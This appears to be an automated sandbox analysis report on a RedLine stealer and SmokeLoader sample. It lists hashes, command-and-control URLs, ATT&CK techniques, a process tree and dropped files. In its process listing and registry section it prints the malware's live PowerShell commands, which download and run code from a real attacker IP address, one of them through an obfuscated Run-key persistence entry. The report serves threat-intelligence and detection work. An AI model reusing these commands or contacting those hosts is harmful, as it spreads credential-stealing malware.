redline | 46fc72077df7ddc1d3e744d3ebf8e48fb1814e242694970c1c5c3481b696a4b1

Target

2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
Size

179KB
MD5

2a0c06cec3ab6b1f26e0f6574f25f0cc
SHA1

048a78112e33d2c9baf547b9481b0d9a6afefc30
SHA256

46fc72077df7ddc1d3e744d3ebf8e48fb1814e242694970c1c5c3481b696a4b1
SHA512

bcca037c7a126f60e118e67b9e5910271caed2af17b012055bbf8aac27c328713f25fea7a3d9ce6605de5a3c5125951711ef21eaa9a621d982833571864c93cc

Score

10^/10

redline smokeloader backdoor discovery evasion infostealer persistence spyware stealer themida trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.56.146.55/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

19 916 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

A0F.exeE44.exe10D4.exeRuntimebroker.exe1420.exe1A58.exe

pid process

432 A0F.exe
984 E44.exe
568 10D4.exe
556 Runtimebroker.exe
1036 1420.exe
1448 1A58.exe

flow	pid	process
19	916	powershell.exe

pid	process
432	A0F.exe
984	E44.exe
568	10D4.exe
556	Runtimebroker.exe
1036	1420.exe
1448	1A58.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

1A58.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1A58.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1A58.exe

Deletes itself 1 IoCs

Processes:

pid process

1208

pid	process
1208

Drops startup file 3 IoCs

Processes:

cmd.exeRuntimebroker.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk	Runtimebroker.exe

Loads dropped DLL 3 IoCs

Processes:

E44.exeRuntimebroker.exe

pid process

984 E44.exe
984 E44.exe
556 Runtimebroker.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
984	E44.exe
984	E44.exe
556	Runtimebroker.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1A58.exe	themida
behavioral1/memory/1448-95-0x00000000009A0000-0x00000000009A1000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\Sound device = "Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile(('http://193.56.146.55/Ru'+'nti'+'m'+'ebr'+'oke'+'r.exe'),($env:TEMP+'\\Vp'+'nm.e'+'xe'));Start-Process ($env:TEMP+'\\V'+'pn'+'m.exe')"	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

1A58.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1A58.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

1A58.exe

pid process

1448 1A58.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

description pid process target process

PID 1688 set thread context of 1880 1688 2a0c06cec3ab6b1f26e0f6574f25f0cc.exe 2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1A58.exe

pid	process
1448	1A58.exe

description	pid	process	target process
PID 1688 set thread context of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

pid	process
1880	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
1880	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208
1208

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1208
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

pid process

1880 2a0c06cec3ab6b1f26e0f6574f25f0cc.exe

pid	process
1208

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

1A58.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	1208
Token: SeShutdownPrivilege	1208
Token: SeDebugPrivilege	1448	1A58.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

pid process

1208
1208
1208
1208
Suspicious use of SendNotifyMessage 8 IoCs

Processes:

pid process

1208
1208
1208
1208
1208
1208
1208
1208
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

A0F.exe

pid process

432 A0F.exe

pid	process
1208
1208
1208
1208

pid	process
1208
1208
1208
1208
1208
1208
1208
1208

pid	process
432	A0F.exe

Suspicious use of WriteProcessMemory 50 IoCs

Processes:

2a0c06cec3ab6b1f26e0f6574f25f0cc.exeE44.exeRuntimebroker.exe10D4.exepowershell.exe

description	pid	process	target process
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1688 wrote to memory of 1880	1688	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe	2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
PID 1208 wrote to memory of 432	1208		A0F.exe
PID 1208 wrote to memory of 432	1208		A0F.exe
PID 1208 wrote to memory of 432	1208		A0F.exe
PID 1208 wrote to memory of 432	1208		A0F.exe
PID 1208 wrote to memory of 984	1208		E44.exe
PID 1208 wrote to memory of 984	1208		E44.exe
PID 1208 wrote to memory of 984	1208		E44.exe
PID 1208 wrote to memory of 984	1208		E44.exe
PID 1208 wrote to memory of 568	1208		10D4.exe
PID 1208 wrote to memory of 568	1208		10D4.exe
PID 1208 wrote to memory of 568	1208		10D4.exe
PID 1208 wrote to memory of 568	1208		10D4.exe
PID 984 wrote to memory of 556	984	E44.exe	Runtimebroker.exe
PID 984 wrote to memory of 556	984	E44.exe	Runtimebroker.exe
PID 984 wrote to memory of 556	984	E44.exe	Runtimebroker.exe
PID 984 wrote to memory of 556	984	E44.exe	Runtimebroker.exe
PID 1208 wrote to memory of 1036	1208		1420.exe
PID 1208 wrote to memory of 1036	1208		1420.exe
PID 1208 wrote to memory of 1036	1208		1420.exe
PID 1208 wrote to memory of 1036	1208		1420.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 1208 wrote to memory of 1448	1208		1A58.exe
PID 556 wrote to memory of 1816	556	Runtimebroker.exe	powershell.exe
PID 556 wrote to memory of 1816	556	Runtimebroker.exe	powershell.exe
PID 556 wrote to memory of 1816	556	Runtimebroker.exe	powershell.exe
PID 556 wrote to memory of 1816	556	Runtimebroker.exe	powershell.exe
PID 568 wrote to memory of 1548	568	10D4.exe	cmd.exe
PID 568 wrote to memory of 1548	568	10D4.exe	cmd.exe
PID 568 wrote to memory of 1548	568	10D4.exe	cmd.exe
PID 568 wrote to memory of 1548	568	10D4.exe	cmd.exe
PID 556 wrote to memory of 916	556	Runtimebroker.exe	powershell.exe
PID 556 wrote to memory of 916	556	Runtimebroker.exe	powershell.exe
PID 556 wrote to memory of 916	556	Runtimebroker.exe	powershell.exe
PID 556 wrote to memory of 916	556	Runtimebroker.exe	powershell.exe
PID 916 wrote to memory of 1092	916	powershell.exe	powershell.exe
PID 916 wrote to memory of 1092	916	powershell.exe	powershell.exe
PID 916 wrote to memory of 1092	916	powershell.exe	powershell.exe
PID 916 wrote to memory of 1092	916	powershell.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
"C:\Users\Admin\AppData\Local\Temp\2a0c06cec3ab6b1f26e0f6574f25f0cc.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1688

C:\Users\Admin\AppData\Local\Temp\2a0c06cec3ab6b1f26e0f6574f25f0cc.exe
"C:\Users\Admin\AppData\Local\Temp\2a0c06cec3ab6b1f26e0f6574f25f0cc.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1880

C:\Users\Admin\AppData\Local\Temp\A0F.exe
C:\Users\Admin\AppData\Local\Temp\A0F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:432

C:\Users\Admin\AppData\Local\Temp\E44.exe
C:\Users\Admin\AppData\Local\Temp\E44.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:984

C:\ProgramData\Runtimebroker.exe
"C:\ProgramData\Runtimebroker.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://193.56.146.55/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092

C:\Users\Admin\AppData\Local\Temp\10D4.exe
C:\Users\Admin\AppData\Local\Temp\10D4.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\SysWOW64\cmd.exe
cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
2⤵
- Drops startup file
PID:1548

C:\Users\Admin\AppData\Local\Temp\1420.exe
C:\Users\Admin\AppData\Local\Temp\1420.exe
1⤵
- Executes dropped EXE
PID:1036

C:\Users\Admin\AppData\Local\Temp\1A58.exe
C:\Users\Admin\AppData\Local\Temp\1A58.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1448

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Runtimebroker.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

Download Submit
C:\ProgramData\Runtimebroker.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
805ca839ced8dec34bd01c2b8f4332f4

SHA1
61723b530fffdc2728e6696e0d09987e44326ee0

SHA256
a74adb7998bf7febdb900cb73fd0799019b3d3a30435f1478fdba4568bdf9983

SHA512
8a1af7ddc2cd41e1864eb71d535dcbeea6e4593e88352d6f1a97842646269c056e3c4329fa139cfb0087a93cec7f7444bb82b46b7856c8acd83234e5c39b2c18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
2cdd47840c1d87ca95399a0da2a2e9b8

SHA1
7c62b5564eb570936c7971e3103c8c4f67ebf2e3

SHA256
92b0f8c3d46a881466fe3e3a444ce9d5135c7f1cde61a0b397fb316f42d3f32a

SHA512
49bfad95df48bffec647025ed73d9d05fe2f82355789368164d2d7ad169da141c61efca59a208b0109901b59b25aa6400fc8e1a1228a6bd4727e5c50777d8514

Download Submit
C:\Users\Admin\AppData\Local\Temp\10D4.exe
MD5
b19ac380411ed5d8b5a7e7e0c1da61a6

SHA1
9665c20336a5ce437bbf7b564370bfa43e99954c

SHA256
aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

SHA512
73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

Download Submit
C:\Users\Admin\AppData\Local\Temp\10D4.exe
MD5
b19ac380411ed5d8b5a7e7e0c1da61a6

SHA1
9665c20336a5ce437bbf7b564370bfa43e99954c

SHA256
aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

SHA512
73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

Download Submit
C:\Users\Admin\AppData\Local\Temp\1420.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\1420.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\1A58.exe
MD5
717d65dba56f47e540dca074c3977b3d

SHA1
d58aa30f826f41663e693f0ad930fdce584f1672

SHA256
61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

SHA512
b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

Download Submit
C:\Users\Admin\AppData\Local\Temp\A0F.exe
MD5
a69e12607d01237460808fa1709e5e86

SHA1
4a12f82aee1c90e70cdf6be863ce1a749c8ae411

SHA256
188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

SHA512
7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

Download Submit
C:\Users\Admin\AppData\Local\Temp\E44.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

Download Submit
C:\Users\Admin\AppData\Local\Temp\E44.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

Download Submit
C:\Users\Admin\AppData\Local\Temp\s.bat
MD5
bd68980643d03050209f1007c96c8077

SHA1
ecfd041b02f14222a870b679224bb60185f6ece3

SHA256
dc2d74e25141ce4d4890a782129aa9279c3daf2f9dca6ec67b7784deb2076092

SHA512
118d57e2be8aec9c5e1f8a8d01db14e13b7c7bb5253c56aac3a8d22fc12084dbb404c3c3231bc4235438b7d92c9392c1b106328070c779445778aae6d8664cdf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
4904ce15f0b0053f6d0061de02859711

SHA1
28d0d9e0a784ba25e486b6259b5c9a5f442ab66b

SHA256
ddd05786db85f0cd88211f0fc73a5092387e172110dc523cbe3d2392c60909c5

SHA512
35bad23a321633b788f7863b70885f248b69757b4e91f142ad4c207d75bdcc6dc28a57c51dfbcf1d1c3160718ac5a9f6ed057b79454745270ccb80646d7ff84a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
4904ce15f0b0053f6d0061de02859711

SHA1
28d0d9e0a784ba25e486b6259b5c9a5f442ab66b

SHA256
ddd05786db85f0cd88211f0fc73a5092387e172110dc523cbe3d2392c60909c5

SHA512
35bad23a321633b788f7863b70885f248b69757b4e91f142ad4c207d75bdcc6dc28a57c51dfbcf1d1c3160718ac5a9f6ed057b79454745270ccb80646d7ff84a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk
MD5
e5e1631d6ff635d68aba4c11b4f49008

SHA1
6fcc425130b092bf40c156cb0a82a5284a58a548

SHA256
a85d1b9f10eca92c99e7ed82e2fbf1bf728e223ccd9050edcd058606af13d401

SHA512
8b9ca7e006e2be467967d5bdeceda616c308988260a1181ac7d49bed165d8aa0bf673e361caeefd6720cdce0556d856edc56178803a50b0a0fe526103b2b6d7c

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\ProgramData\Runtimebroker.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

Download Submit
\ProgramData\Runtimebroker.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

Download Submit
\ProgramData\Runtimebroker.exe
MD5
fcce9e904debca11888ba8898e9dca46

SHA1
fe1b574c5ad4db3d544708cc409357116f8638fc

SHA256
859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

SHA512
